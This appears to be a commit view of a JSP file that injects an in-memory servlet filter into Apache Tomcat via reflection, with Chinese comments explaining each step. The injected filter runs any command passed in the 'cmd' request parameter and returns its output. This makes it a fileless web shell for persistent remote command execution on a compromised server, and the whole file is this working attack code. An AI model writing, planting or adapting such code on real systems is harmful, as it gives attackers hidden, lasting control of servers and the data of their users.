1
+ <%@ page contentType =" text/html;charset=UTF-8" language =" java" %>
2
+ <%@ page import = "org.apache.catalina.Context" %>
3
+ <%@ page import = "org.apache.catalina.core.ApplicationContext" %>
4
+ <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
5
+ <%@ page import = "org.apache.catalina.core.StandardContext" %>
6
+
7
+
8
+ <!-- tomcat 8/9 -->
9
+ <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
10
+ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
11
+
12
+
13
+ <!-- tomcat 7 -->
14
+ <%@ page import = "org.apache.catalina.deploy.FilterMap" %>
15
+ <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
16
+
17
+
18
+ <%@ page import = "javax.servlet.*" %>
19
+ <%@ page import = "java.io.IOException" %>
20
+ <%@ page import = "java.lang.reflect.Constructor" %>
21
+ <%@ page import = "java.lang.reflect.Field" %>
22
+ <%@ page import = "java.util.Map" %>
23
+
24
+
25
+ <%
26
+ class filterDemo implements Filter {
27
+ @Override
28
+ public void init (FilterConfig filterConfig ) throws ServletException {
29
+ }
30
+ public void doFilter (ServletRequest servletRequest , ServletResponse servletResponse , FilterChain filterChain ) throws IOException , ServletException {
31
+ String cmd = servletRequest. getParameter(" cmd" );
32
+ if (cmd!= null ) {
33
+ Process process = Runtime . getRuntime(). exec(cmd);
34
+ java.io. BufferedReader bufferedReader = new java.io. BufferedReader (
35
+ new java.io. InputStreamReader (process. getInputStream()));
36
+ StringBuilder stringBuilder = new StringBuilder ();
37
+ String line;
38
+ while ((line = bufferedReader. readLine()) != null ) {
39
+ stringBuilder. append(line + ' \n ' );
40
+ }
41
+ servletResponse. getOutputStream(). write(stringBuilder. toString(). getBytes());
42
+ servletResponse. getOutputStream(). flush();
43
+ servletResponse. getOutputStream(). close();
44
+ return ;
45
+ }
46
+ filterChain. doFilter(servletRequest, servletResponse);
47
+ }
48
+ @Override
49
+ public void destroy () {
50
+ }
51
+ }
52
+ % >
53
+ <%
54
+ // 从org.apache.catalina.core.ApplicationContext反射获取context方法
55
+ ServletContext servletContext = request. getSession(). getServletContext();
56
+ Field appctx = servletContext. getClass(). getDeclaredField(" context" );
57
+ appctx. setAccessible(true );
58
+ ApplicationContext applicationContext = (ApplicationContext ) appctx. get(servletContext);
59
+ Field stdctx = applicationContext. getClass(). getDeclaredField(" context" );
60
+ stdctx. setAccessible(true );
61
+ StandardContext standardContext = (StandardContext ) stdctx. get(applicationContext);
62
+ Field Configs = standardContext. getClass(). getDeclaredField(" filterConfigs" );
63
+ Configs . setAccessible(true );
64
+ Map filterConfigs = (Map ) Configs . get(standardContext);
65
+
66
+
67
+ String name = " filterDemo" ;
68
+ // 判断是否存在filterDemo1这个filter,如果没有则准备创建
69
+ if (filterConfigs. get(name) == null ){
70
+ // 定义一些基础属性、类名、filter名等
71
+ filterDemo filter = new filterDemo();
72
+ FilterDef filterDef = new FilterDef ();
73
+ filterDef. setFilterName(name);
74
+ filterDef. setFilterClass(filter. getClass(). getName());
75
+ filterDef. setFilter(filter);
76
+
77
+
78
+ // 添加filterDef
79
+ standardContext. addFilterDef(filterDef);
80
+
81
+
82
+ // 创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
83
+ FilterMap filterMap = new FilterMap ();
84
+ // filterMap.addURLPattern("/*");
85
+ filterMap. addURLPattern(" /zzz" );
86
+ filterMap. setFilterName(name);
87
+ filterMap. setDispatcher(DispatcherType . REQUEST. name());
88
+
89
+
90
+ // 添加我们的filterMap到所有filter最前面
91
+ standardContext. addFilterMapBefore(filterMap);
92
+
93
+
94
+ // 反射创建FilterConfig,传入standardContext与filterDef
95
+ Constructor constructor = ApplicationFilterConfig . class. getDeclaredConstructor(Context . class, FilterDef . class);
96
+ constructor. setAccessible(true );
97
+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig ) constructor. newInstance(standardContext, filterDef);
98
+
99
+
100
+ // 将filter名和配置好的filterConifg传入
101
+ filterConfigs. put(name,filterConfig);
102
+ out. write(" Inject success!" );
103
+ }
104
+ else {
105
+ out. write(" Injected!" );
106
+ }
107
+ % >
0 commit comments